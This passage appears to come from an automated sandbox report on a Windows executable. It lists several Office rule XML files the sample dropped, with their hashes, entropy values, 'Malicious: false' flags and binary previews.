Preview:	<?xmlu..95$u.......6.M....aH.@.P$iR.l.j=D. .mR".n....{.36....5r..r".\|..2H...G......%%\|;.:.....[]....q..6.n^.....%..&.j.q0.F..pU...<P...j-.2y.Q....v7.c..sq.. ...k1.=..f.......d\.o.Slw...8..........p...n.....). V....ZN.Kqu}...........m.M...q..qfn..>.)$......%6..NT?....#a/..qL.#.A............$.i.K.....j..j...]u.......}H%..d.s#.`.q..!.../Ttf}..u4?.(>.XO......DU.N63=..@...L.U9wN<oENL9L<.....!en=.K.1@..,.I............-.i.\|...../<.P...#x.u....VR....2..O..1....'.....i."{.M."...qd}.....M..vfA$a.r!.!.P.n...^...e.....z........../..\|.:..........!.. .8~..4.$....F...l.W..[.d.).T..J.f. ..[...s.Z.....3..8..'..;\|.G}P.i6...yf_..T.e..E.....j.8fC.i ...jS/.....(.K8...h.b.0.6}...c..bUy6N.........v:......>.3.=x..p...IA\|.8l.S..#........?.'.H..s..C,....+..z..p.cU.t.....ua....pd..Gb..d[....Wc`s.?8..`..C/.lWB....Y..(D...U..:2X...U..N....(.g..[.Y_.]...~e.1>&..1.$.....;.....7.[c..~....t..1...$*NJ-.W.X.~.".x....vU..6.....R..,......p.....O.T.C.9..Wl~.cG.~......6k....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11300v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	4608
Entropy (8bit):	7.956935263582242
Encrypted:	false
SSDEEP:	96:dVwjzQlN0sYuwtxpYkoBr3ohGNWkP1AHSWi1zuK41NUSO:dVGhztoSGNXP1gHi1FWO
MD5:	CCA99F35111D8DB95BCB7ABDE55B9730
SHA1:	2968AA23D92CCED7A7532912738D3905F7E43E6B
SHA-256:	9D8A9EE72A7C641FC7C9612366049DFC0D356DABCC7F3BD279CECC8AEDE5C701
SHA-512:	651794B12AA03E25AB507E3B03EB323F6A8D34CFA5BE5C8B676747ECAD9543E764EC3DA0FBE2FA2777BF8521F893B2990AE4AB0BAE7FA0780D0D2281B476DC57
Malicious:	false
Preview:	<?xml_,......... ..V...`......sU.U.>...Ayr.....P.RL1.vDeqz....vX..IZcauXA.....GR) .n.{C.=..d....K3.D;..,...`..j6..ouP.....R..g....a..rsK..H..\|.}@...c.U.o.D.<.....T..F........X.!hwe...x...`.Q.x..."vo`...L..,..'.xYy..........C{\|j....S>c.s..]....Q.sU....t9YE.iR...I,F.x]GD....B..4(;.u......#.?;..9p4`...-U.S3&.rF..>.S...i.... ...H.._..n+C.../..).G.z.nA;....kk.B....l.a\.uMIi3.......5..O....'h..8-.W...93..............W.K...."....K..X.u).q.......B..9.Q..dV..q.JJ.t}...-..}f&...?...k.q=...gE...^k0x.x.Xn.K./[..4..5QPB.j.4!=..V?qh.o....\...Q...\|.[.E.{p.AKa.PVg...yy...%24...G.J+$.?T(.1.viQbs..U[K.q._.....n.....:..M.R...}..y.YM?E...$Z.oW..0..pZ%j<.v........q.Y.....,.[.N....04.J.....i...;.......q.#.j....6......6.......K.q...t$8.......:.qU.FX=&CS..V..Jz..#....../..l7.y.p6.9...r...!..U../...iW.9..O.E.c\|uI.l..I.Ya......T..9...U...VF...>..BB..../N.3..~BiiA;.b.>:4...3.....#E\....z3.s..).Yr....\|....x....V.TZZ........Y=J.0.\|.x@.9..v..B$...U_/*<...`p....F.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11302v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	2884
Entropy (8bit):	7.939125341460617
Encrypted:	false
SSDEEP:	48:Ah0HyEc3GUz7UU+1vp/aDTQcHi1kdN/bBoEunQT7UZPoM4319DZwkyE2nF8fI2db:A8Vc3F+vo3C1kBEnaox5q9CJTF8Q7kn
MD5:	71670F1A406AA5A3F383C868DDE02A27
SHA1:	69A77E600AB9685BD7465AAD3F2BB6CAC07B1E41
SHA-256:	5E50E1C4B48412F11E3935A8AB935F78086E8F54A2FC052A5FEEE3B4F90E89FB
SHA-512:	9CE178B1822EF2890F1679B0F9DFD1C8A0404F2044DEE271CA5425274641E8BBA6309F6899900236E38EEE8DBA334B0797889E2E192C2C1CEA9B18D2A31F9A28
Malicious:	false
Preview:	<?xml.ka7...R...\|..<...&.SWg6...0,.i.....r..g/na......S.[ew$[:..w.J.2...F.h..G/.,..CZ...s.6D!.<N.l.<..&..n........I}".l.Q..G.X..z.}HC.ek.t......O&5......{U.......E.......'../..Wu.<...7.@h...C.. \|.H.M,...^...[-...\|R...."ka.v...7.0~!1..-.N.Y...Fa"...,.(.z.+...../$..s.\8..<b.2..q........ZyC./!.....\..8..viy....I%/.."..QM2..'.8..!Gg~.W../nZ....D.iv~...QB^pf.V[....".%.0..._......Z....V.G./b+.jz.>..h...\|... ;Z.!Ed.......R/...'Y.i....6...o".......i...o..Ir.s.\|.=.._eR...=Y.,....P...Y.v.h.Y....A..I..t.V.PP..ns0q..+}.B0.".......>2}..L.,..q\K....E...x3...q.j#A7..._B...@.\....M..G.5..p@.!.z...".<V.T6F..T..?".y.....I....<k....7..f..l....`..............J+8.X..T...;.rG..,.h.o....xW.-`.@O<t..h...F.m..P.<...&.. l.L@.x.......~w...[=3.......C......\]..ut.1...m...1..d...Q......g.h..r...M]...0..W..j.."us.5......D`.&.....Y.P.....&g....Ov$.2Pu/\h&Vxz;xP....w...!...7dS.B.....;H...?4... .F...A..3G..[......A......F$.).d.c.~d.}?.....6..$h3..e......~y..\|h.}..T.N

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11362v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	5842
Entropy (8bit):	7.967906441443181
Encrypted:	false
SSDEEP:	96:nYTA9ZmKalEMy5wR7v2wHt2HuOuSEQWke9PVm461X7a/TDC2QFbRUZcw:Yc9cjUwVNArfWke9PVqE3C2SUx
MD5:	3F491A240EE07A8BC85CA2F7E0CC2C1F
SHA1:	447BA560608D22B8FBC44B2B57E29AF69FC4BB50
SHA-256:	32DFC6D8EBDA23272D72968933859CA18AD242A69BA9B9CCAF5621A259E986F8
SHA-512:	096FCCB21215191DD48A8210499F48FD21F78D137FEC1A49B1A33429C0871C8193894B77C87D6384710556F9BF04710D32356DFC49A4AD5D9EB0C948FC7ABAD6
Malicious:	false
Preview:	<?xml.(..y4f..`!..V.g.h........9~J.....W(...}...0.......Lx...4S..S..=~..^...`..c.a.a........VE`..[...<1T.V..m.t........ts.n.k......U..n....l4B..(yX...Yq?...u..V$/.@...b._..<.......... ...Q..@^.T/x... ..\To&C....l.H.qc@.7...$!....w.q.. ...O.....5N^'U...E.D$..BiV$.e........-.e`..k..F...^b...+.:...^.....()s43.b...T5Z`...w..Ry:..R'>..\|FvtZ.w..k.Z.Hq..e.'..1..7..M;...1..j...<%..bU.o....k.b'.$.j.\|.6.3..A.X.k...;....k....@.a...O..N..(i%.^Q.L..p...jL4.#ZbYYQo.R.....H.,......c._.........,N...T..@&...\......[..]..WcT.B..r@...R..#t...j....b.Y......N...:..D..........I....u....\|....{X....z..5.....g.w....".z..Q...t..A..2..\ -.!d........1W?......g.i_.Ett.E... ....?.....??.m.....s.....B.A....]...........K..yd....1e}.S.W.+.2....%..z...u..vd...XT.,...mXH..!D4.&l.....6.V.'\|t.r.\|..8TJ.}.......V{ ..3!.`...~.O....\|...].fk......~nZ...._..q.q.Y..".U $...'..[...2.kFD.m[.....zo...?Fn...:..MF..X.7.S...o.fB.K...X...XJ...{.....B.R...S.hPW.....&....G.eW..k...3YM%`...J.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11369v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	2023
Entropy (8bit):	7.9195832385035745
Encrypted:	false
SSDEEP:	48:QsyhFAX2G2I3SuqQqeXhyWRbTcOy7plLPhwK/6li/msD:vVf3SuxqegWtgOE7hwKyli/mI
MD5:	244BC1DF7D59FDF36A317D7EC79B6263
SHA1:	4B9CC345CE24808390139270E8B13888949F0BCE
SHA-256:	FD836A7929DCE64596604C533A5E3EEFA3810E4EB1E62E435E0FC34E58598171
SHA-512:	FD68CDE9B2FE3D17D04F535C2831B2AF629E57C813E5B372CF85042D8A6ECBE7F5DF34FEC13F500E5B6E27D97D5599E7338431B96188C17580B0A3C630A91390
Malicious:	false
Preview:	<?xml......./..G..0..."...@<K0...].H.ML.'.e."&..gs..sK...t.p ...x?......u.4....T..W..z......i$@..z.H.a....5s...e..l=..5j......T....B.K}........-^..[`a1.1...\...c.......N..t..~.l.....nT.xW6B..i.......&.....%...).(...<.c.n...e.e.B.:...<5f.C$...k...R&XOa9dT....JB}\|.H..b...v.G6.....w.....{~.F....2..D..j9A!.....^.F.....&.......S....N.U.D.e.N.7Q...#...v.$.k.w..2.........?....hu3.......f9k..$.\|i9.....kQ.......BKk..x...`#&.....)Aa.Ve....~..M.D..w..sD...R...D..!..z ....3.(.....2.Af6...`....6it.k.XOa.1S.\|.t.i....%K1.'g.6..++?.m.G>.Iz. .(co%h>Yv.kxe.I......\|./e..:2...P...U..l...dZB...^...\\|..M....m.R..#{.../.v.....>.........(...A...2..d.x..]g...q....l..d3.....h.Q...`yC.~.[`...4(.Hy..DY...@.D ..t.#....2..............J[.;[&....mMxYV.J..b..8.`@.hL.....H.N.vU.",.gX.gB...Y.+..0..o...U+....Au.......zm...h;.........Qh9.ZA.C..5/:..Z(..X..cwx$*%....LM1G.........2.E..K....\.&.S..v...Z..C...!.._@..&........B.b.?..%.N....:..nl.y..o.....cy.L./A..zQ

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11370v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1001
Entropy (8bit):	7.800315651739571
Encrypted:	false
SSDEEP:	24:i0ZJDtx40wklaD8TfrEUmQa7xKne9Z4m7Iz/Amu42bD:PJDxwZcfrhyx51i/jurD
MD5:	C69C8613FDB1D4101293960FB8EF4DAC
SHA1:	1008619CD4A9A40E3F8C877DD312FE2D6FB59D75
SHA-256:	38E6315EEDCFD87A5891FBF47B802C0E292B58DA36F11410AC310516FE8151F2
SHA-512:	F900A7BEFCE3388498BE6BCCA2500CCB76CDB475DAFA9A1669B8C32DAC26D6EA3CE2A9616170700C214F7576227830B5FE0E1728FC7FDDD77E27F992093CCE51
Malicious:	false
Preview:	<?xmlS../ ;...xRP......&.....u.5.3......\O..Fow.3.=Y.u&.^...7b.9X...=....CFb.w.+.\|....Tu.w../..\|.X..J.......................^......c.A.58....!-U]qEIc&(Qu97.....&..K.H.~m.{.d..H.).?..\%..........MC.l/p6E.7R...N...>%&...di.t.9f9.F...=<.4w..".......@E.m......A...+...y_..LT.m.#{k.$...............E.......t..8.........v.>.^..2p.....K0..n......6.N5.. .M..[.).!...I.MK.K..k.Z..d.4.i......Rl.\rk......\|H...W.uu..,..1......4..$}...#J...^}...~.R...L.2.H.n5.11...A..:A>{d..X...0.B...r[J.".JB.U.VH.d..V5H..Si.irsi....e.\.w:.N}.<..:../.rQEA..!..5...[4.(..._4g....'...FB.E..R."...=T.}s..m....@!g].w..{.KP..L......Ez..dD.,?.L...j1.=....v..0.d1\|#ti...v.{R^..[G..W.@..Y....8.:....Pi...I..Q9.....s..e..q...vl.V.C.....x.[]SZv+jk........g..R.W.[.....q.....F...$.5...cq.7>x.[..7...b.xC.LC.>H....?.0,..N.......q...&;x~.z............!..*...A....x...+...."..K....Z.3.q.iV....f......{.sj9....mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11381v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	2743
Entropy (8bit):	7.947340012846531
Encrypted:	false
SSDEEP:	48:KmhCQWQ97kvucWR2kdJ4Ca2R576jy4Dngh+fNnX7YiAyjGwkxd5A3St9NUYKkD:tCsGucqR4CH2vDnEsnrQyqwkxUit9LKw
MD5:	92C4DADEA5C560D98B5EAA1D03B721A7
SHA1:	D6460FC49D2BA98B50765BADF7DCB0A3C1C72F0F
SHA-256:	F1888F5EB89DB3C9DA95C6B1F77270FB7E048CD6B7CA48CC8C18972DF335F10C
SHA-512:	3DF3CD9DC29154CB7D4767A68AE8557638CAB3C9A754024932465B896B7CAB11F99E72ED046167589FA371E140CC1624521038BD143637A8AB346D6062B1E61D
Malicious:	false
Preview:	<?xml.n..C..G....q..o..}.d.Q....t"..a......<.'n..jMR.y,.w....I..Q...;j.C.-....[S.R.zEr,..2.%vn.C.b'.."...5..............J.M&...,....l..d.....K...:.^.}#.A...!.g..N.M.b...1.....4....e.../..4........+...iMg..eE2.pRi9.<V.>...brG.=m../.(..k..^&..p.?.K....+S.US&&^.K}46........U4.YP.1X\|..O\|s.X`.\.../...Ud...agd].......rQn.g/..j.c.V..[.......K.#..GV.v.'])k....S..W.~..^..........-..%..V..v..\|P....M....)...'ss9....P..I.,..:%...".yoJ.x.....J.~.....F....E.../>.m....O.....l.W.n.[....Si.:.v.cI/Q.j.....;.r..j..f..f..........YHa%z.Sk....0.....M.s....<..B.1....F.A..!......=!U.D.....}...Y.?.}. .ye.:..S..1.y.....P.~.@w'..-...W...{......Y....G.ZN8.2K.........H..6#......w..L*.Yo...]..4..Q..{.~...KL.R...3Gr..uJ.tpw.1.[.......i....p..w.4:......cZ.....Z2....b{.z.1..wI.q..j#..]...Vs.. .A..d6.3pv..m........a.6...t...E.L.\|`.$.W<.1m/1.+..\..s....7...\{......N..k~....v.I...q.[K...-..._.j.....9N....{.Ik.+...GT.......'.`.......\|. ].%...r...r...F..,.Y...~eO..Y.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11446v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	11063
Entropy (8bit):	7.981833541267042
Encrypted:	false
SSDEEP:	192:t+jkaamm81QZBNO9UqtDyEfpSbzZHyeZRipq+VzO5luEoRTVj1:ekJm3mZBNO9lDSPLvKqtEEYBj1
MD5:	7585FB7FC86A138CC2EAE2C37813FB2B
SHA1:	3C40AA5D4BD32BAEEE52D7F4DC8A2DA8AB8B06C2
SHA-256:	E00D847FB80484E8FE8030097181595367A7B691177F3A4FE45B2CE7B20DA33D
SHA-512:	310A9822FE18AA6FBB416554DE4DEA3E6763E1EC0D457E9C7F432AFF63F2B18FF3ECD321C99E904BB3F896390AE67A2D2042875335F572757E883F8E4856BA79
Malicious:	false
Preview:	<?xml- .f...\|h."..u.1'.^.NY..{~.\|..{....VZ2.s.p.....[.....\|......i..........T...7X..r...?..`....+.f....o....0..}X..&.m5)0.T..%..OE.......c.<...{.f..J+..DO...fCB.1..^~Z.>G..muU/\.1..~m!6.`.K.h~...g#.v..x2+.8IO."q+....`,iG...\......_.f..WE........x7 1.Qw.........H!z..}`......$..X.RfR....O...J..+..7E.)......./m.VB=.x.S.-..N.~.V.E.@.Tr.XS.M.%..xW.m=...[.T.O6....f.z........w.(.^....=...K.X.k..F...a..OK.eS`.....R.i..g.\|.y.!.i.qr.9.....[p.O.H@...R...i..iV....M.uW..e..F.......D...B._..;..o..';....=.J4..v.a......k.DZ.m.H....Sw...-..\|:....X.+...w....~A..&r./..=..KT......W.G/..ol..}......o[.....!<_.vH..j..N$`'P.q...]~r......&w..`'.9.1e.Q...W..yv(`.K../.o`.^.L{.!...Q..X.@....i_.1..r.(c...<.q.&..L]i<./...&f.....j..>$..AP...`)]i?.AT2J..\|..r..x.Y..[...@.0..Vq.g~./.n.2.#...p......#.P.YV.t.S......{0X...).D#Y1C&..B..Iqk=.Y.m..Q.8....X.mm..(......o(...n.iRx..N.......3S..x.[.....E,....;..@.(.$-......d.o..h$.......g..e.I1........j..Jv.jD..+.../...g,....!.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11464v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	807
Entropy (8bit):	7.745867888964185
Encrypted:	false
SSDEEP:	12:0FiJ6jrZG5PZbZk9CkItiwd+kV7kAizJgTfB12V+cXbNBB9qXyCRZ3bs2nPEmSUn:a06jrOPZbZMCkES8faF6XyCz3m2bD
MD5:	324EDD6757E197D7AD15F28B99200CF3
SHA1:	EB9663C2DD2885B2171A02536925DDA47927DD73
SHA-256:	B7F43B5FB335255B911027D946D71609C5E885E18249E51BDA16D56FFB6BF1C1
SHA-512:	0FDF289818A6ED1A7B373A8D27979F715C7843A7D7B012FF6C2809A3EB887D10838DA50319B4A6C372692812281CE63D1F8EE31E6A11EC6F0023034F53697A5E
Malicious:	false
Preview:	<?xmlIk.e.G...Y.t.6t..o.}].-sH..RD....=./..Rw...s.8b.f..`..-.....0.rgi..9+.;..!...f..`.pH..d.....\(.k.D.q.m.`..f.X...4.x../Y...k>...M.~.d..I...&...AWb...1..o].....:'.wS....l.....Z:.c.([.....U...,B#-.%.1I.q:...Tz.0)5mQ.......... ....L..^...#.a.`..q..e.Rv.u.,"....@....b......?....z.wi.^..p......o.Y{Y.f.Z....7j..fpx.1..?L2...~..D..m...j.As..Fn...&.s...Q.@P.q.M..cbf.dYe...!.d.....c.(...VSwpv.G...L..]\|.1........N..d..p.........?...a..-...v.n...]R.."..B>..%..J-..%..m.n.YT..)QG.=..EYs..2.`.uE.6..E.M..g`y..>7.k.;.._...O......'..?.`q.q.9...;..W..z.:F.O:.S..p..".u!.~.D..U:_..<.-.t.u...2.W..l..o...A...$...E.#..../.J&..)z..n/{.....,.........C<.......?%.......7....5r..o.?.`+%y.."3..=..mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11498v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	747
Entropy (8bit):	7.6951136097329105
Encrypted:	false
SSDEEP:	12:VSkdCCxjSenC0iBlfX38DWt1VSx3yckg40t7IdkuZ1l35jVHmpDwkxXunhL5SUdV:E8xj5iBlvqwVCickgKWi35jVHmakxcow
MD5:	449019C59609C19D32BB25F662DE6BC0
SHA1:	E61E7C8BB521DE9ED201BEE4BFA33230E7C11E69
SHA-256:	62442AAFF34D47FDCAD15D66566AF54270160CCACBFB1946FD8B799887058CB0
SHA-512:	A52494157B314B444E05BCF6E4ABEEA165635A7A99730C29104C2142217EA8AB02994414943DBAE1E3F86DB44B238A016DC56F837EF41801ED1BFE57749780D7
Malicious:	false
Preview:	<?xmld)Y......].h.iaG4..!..0.p.I...#v`../P...5&j.D.&..8OP.E......^..........z...Ch)...D^.HS..z..m.N..!dh.....{...L...",,..'..)$D.. ...,.$....F...{......@..b........9...f.U..A.A.af.LG.?>UP...>$..2.YY5AQ.......{x.6....T..U...l....7.J....9.,%5.>7S.y./.9..Ay.WMi.k.....X....-"..8.%...gWU..0.f. ...Q3m.......&c.56....a..'W.M.l.1.Z..{.4R.Z. .....EQg.-..k...E.M....`.@[.~...3B\.......X7.......k.-.'1....>...$...\.u....v!j...I...W..I....;f..^...#<.c.?...rc.X{...y..q..-.R.....]...\Wt......a...S..iZ.^..,.V.DfB.M.&..y8....6H.K. K.ptP%.Ve....B. ,..w..@.!@..(.'....FJStI...}K..c....bZ0.?...F.....T;..:D.,.n...jp..&u...z\u....*z..&-.M..#q..?..mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11499v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1786
Entropy (8bit):	7.8934723178341635
Encrypted:	false
SSDEEP:	48:0vd/iu6IOP7bOLwkPdbFr9epQp3fnnLWqSgmhhgXD:8/i4OPa7Plzfn6qSR/K
MD5:	4C23FF10B6FC4E0A8DFC7F3CE5ABA41F
SHA1:	549E6815BBC40CF0B99C925615B57BE33282B920
SHA-256:	8F7E0D60F7A683870BA72B5A0FF2547A541B707516F8A948A846879F8092300A
SHA-512:	563D15E8E9FE46904B4C1F725BCDF0399B237C678CBADE44EA1D67584FD0C8D2BF036A4BD63E2D439DEFF5931D1428BE696E72F36B71BEF1A0A335D3926F980A
Malicious:	false
Preview:	<?xml..r.fx..'.......E...\|&......f\|..y..O.O~.....0U.h.m.M.C/A.`..o...KfjJ..........K.XI[....6j.`.G6.'M.....T....H...x..C...L.\|.mDI.y1..^.=+a....A_..,,o.wx.j..o%,@.@?.al-.n.;.....Yw-.r...$5..y.>.ap.X)<.....;.#/}..Z.<....1.....;\|%.%#.......Bu...Z..I../.Kx..l#..`kX...>V..J...\|!F.Se..,K<..a..Ex.gi.j.......9k7.`..w.... F..._6.)..cv.mW.yyf_..Z..I.FX&....XO...hZ'.a...9.S..O]f[....-......Q..oD..s...%....oFB.6.n)......C..?...,.q.n$M]rv....;OU..<..m.....2~.2.W.DC;&y.D..._Z..f....1.E.<-U.].g...z....vR..e.p....aO..MH}..#......D..;J..".4Y.R.5HP....YRO\....&....9!.?..!...{mi..._&248S..Vb.P...f... 7..}..RM...q...Y......u`^....d..C...a....4.....g.'..V....NRP.D- .e.p..fr..B.....`..O..yi..jg...>.~.L.2.d..Od.W.v......hg~X..'..A....2...s.6.K.e.E._.Z.O.9....b!W...J...z...j`..Y.... .........bM...@ViXCu(..7.!.@bb%.`9..............W..v.".}..[C.s7G.sT....T.3;"..&.........Y...."...Es....3w...H..%...uRP*.A..VE....@f8..X.;.~...-?px?5./....D..S...R.X\|.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11500v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	886
Entropy (8bit):	7.745257665542332
Encrypted:	false
SSDEEP:	24:syGApDN2lKO5BFiHm6r0kzhG8ieWCU2bD:syHpZOR5Bg/I8JnD
MD5:	C83B14E9A7100EF6946406409B8E06EF
SHA1:	54448923C43CE78499B068C85E882D52036F13F6
SHA-256:	DEFE3BCE71991B6A99D1D1AE9505675E970537D5A727AE2D5F8A01D8C1678320
SHA-512:	FE93BA0C8CD2662CBAE74AA2AAB35EA7D11A68D4EE1AE30CAC8EF235003666591C102D0C59ABCAD2633A978E24188C4FFAEE96571015157A07C05F1B9911C460
Malicious:	false
Preview:	<?xml!0J<./ptwo9.f.......Abm.D.XF....>.G06.oUD.sv...w..-9h.D..n.<..Gh...u..:xF.s..D4.q..0.yi...%/.0..0.A(.e.M.W\|g..]^...Y...D.. -..}Rm........BMI...m..F..d.:...[...!.k.B.E.X...x..]...I(.F..J..V.r.cg...1:..,.T.+.]...].....~.....$.Z.L..O.~j.'........s...]....q...jB.T..%.......C...^......#%.J.......#..GV.....3.....s.&.}...+..r......]..I...2....U.. .T?...........;\|...V....:.xG.s... BC.Z.4..k] ...fP..@.q.6.RQ...T.7...F.....`..".w..`G%....H"X.-..q#......p..,...0.m...H(...-._....R...r..FS.~.\..uCZ..q...%. .s_..}.w.X.W.XE...r.E...h.F.._..."y..>k.O#.....bFB..XQ?.ss'.....k.v....p.1(Pb.......w;...,"rYI..v.. V..7....7!%.\l....T..3Vn.^...0...\.,K..?......b&.r..R.4..,...bH.UV...mX..L.0\|.v.....8.9.OG.h.....=.9..G"....bh..Z16^N..u..a..%.DE.m..X..-....W9..@1.U.6JP..mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11502v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1324
Entropy (8bit):	7.834828921823609
Encrypted:	false
SSDEEP:	24:sLrviiwOnJuODCCl0fCSMzQhK//+2mqLiLIGx0G+P5F+Oc2bD:IJwOnJOfMzQhlHn+G+P5TD
MD5:	D462960F3E982DFD8F687461FFA685AE
SHA1:	AF5938D9C31AD3FA93A8FAB334BF2B0579034948
SHA-256:	F001F33CEC71FE606A016940C6421F2DFAB77A7B83CE00739866881D0FD86EE9
SHA-512:	ACBCA9EFEA8718E5FB9E3C3546C66A722F08F9EE1FE29B49C3D3C41936807BC48CE31602E79581A3E695A9BEFAF29D4FBD087EEB5C7EA243C5BC7E80AECD5B44
Malicious:	false
Preview:	<?xmlV........,....i.a.[k-......[V5.m..r...q.-....e9....M.S.Tq..0.+...)J....E.g.<d.7.n.?...%....^..d...e.Z.I$.^()..q..L..CY...p;.%.?.#.X-Oj..O.g1].w..&.5.4..Bq......2..[.(2.P..0.^...w\4.T=.-.<..J..Pg2.."W..cJ..<.a)....A-&D.o.wR`.C.....hH.l-G.%:I......\|..s...../...5.(.6.9.I.W4.N..=n+.n.i =..t..P0.m...2.q.7..T<K{$!..j".B.{7H..q:.8...t.Im....!.(..~.nnp.......C.h.h#.>%P..g.E........7z..;.S.......im3y.w^.L..U....!+..(.t,. ..e.....[c...0P......(....f.]+......+...A...../..A?Dn...E...~.....gk.j..No.....N>....V..f.]....K\ ){..>..)u;DZ3D.(...<..G1G..\....@.]....)...5P..{\:k..hj....+..R.3@..G.@.hI...R.U........h..`...B/.G..i.K!.KO&>9...........9..m.\_.G7....~/C.\|.0\.<.7{>^T{........gQVf{......U...5..*D..;.d]..D...R..@.h._!.O....}.!jy..h..D.... ....NT.........>M~R...E_.6.;.~")....=u..3K...8....8x.S.09>!..^\|..[.T3.;@...Y..eJ..&`B'Sx.<.;....C..rFj3....5Cz;..H.....Q..+.3k0y]7\2..k..)Y7..2.wo...$..o.Q......].P..3.!cVIA?......J..=?T.y"..2\|0..^.gB...$.E.cA

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11504v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1435
Entropy (8bit):	7.852932842509503
Encrypted:	false
SSDEEP:	24:sI/qgy1JBux2cmcqkwg37nQwkkh4il/r6sjuizIi6Z7xOsgp+r92bD:b/q9e2rcjwmLQih4CD3uMi7xOsU+yD
MD5:	0E8D1A198013B1E935B9AB385BBFFA57
SHA1:	903521ABCC8F219F66CDCA86586AD822E4B801B1
SHA-256:	20821091D4B59263F4F094053351CC2407AF7BFEC425DE23BAA5A3E4DDC6E9F3
SHA-512:	E5DF0F362B5D9C49F1234370D25FCC80720D7B27E02FB8B89771BC5376DED372917C45DBCE56F9E52ECFCBF92CB268A79EE76A08173B8C8C9B6F0B58D7B337C4
Malicious:	false
Preview:	<?xml...V.ec-....3......z.YU.~].)B._h$.]M...O$...KfG<......$...{f.B'f....@o(rZ.n0....D.Y..Rf2...v.........?.I..23.51...:...1.....RV:.R.......A.I^]..`.;.x5.TV..L.c..u`.r..p..a..Z/L..RwK.\|PX[Y.48.......#..S..?...k+...B..M_).2)%.Z.j.R...@.%.1.....'...xE.L.Iy.1r1...wp...s..].q.[.Z+~IUv.(.oV=^..0......\C9..Q7.. ;...Y/.C.....YH..'...m...z:...L.r.p...&'.-.^or1.1H......D;.....E.......Ev. G....-s.:.....A.7...i.Wb........{u.....Z..i...4.U......]...N.Z......5.....6.../..9.n..-....1GP..L1G...ec....Lz.9..7..u...r).S.....j...`..4.......zn!.......Q.j...`......=.t...7..f"k.@.O'.O...$o,.x..NlE.....H...W.........6...........0j...I....o.C......I.q..[..[...kSa5'N..yz.m.>..Q_.^.m..y..{.W$.8.iI.{......Dy...B.o...[Vf$.R..dM;)..%v..~5.;+M@.y.e.uT.2.].Xc...!.....L.....1..?...$_...X...M..H<A&.g..#.:..=...~.j..&.8..$2..`T$."....G.N....Pd&d..8.m.T]...-.[.....t...O/Z..Z.<.{.<3J.oZ.....5..w....*..e.,.....:].v.....)I.y...qEl.G=t#)\|..Z4K_?s.'....,[..n.Y...p...,..8C.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11514v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	7119
Entropy (8bit):	7.968643661006486
Encrypted:	false
SSDEEP:	192:u+Sjpn7JFoxZGwSCNq0U4BSeMK7y8Kf6CW:uN1sb4CNq1rK7x3CW
MD5:	14B3D9E8FCB6046916B2EDEC40FF1EA2
SHA1:	5E253BE8904C1D5E47A6EE98286518821DAE83B1
SHA-256:	40EEAD2AB02F336426605B646BF7874F1E1DED55B57991C6774B933299379F65
SHA-512:	05268DC923C17B2EA85DF60080A3D2AB7C77B14A8476A94AC39BA929ACEFDF0EDFE9269D3F18416DCF8334781E43D1615D8FF848DB12226860F7B5B7D5D70A49
Malicious:	false
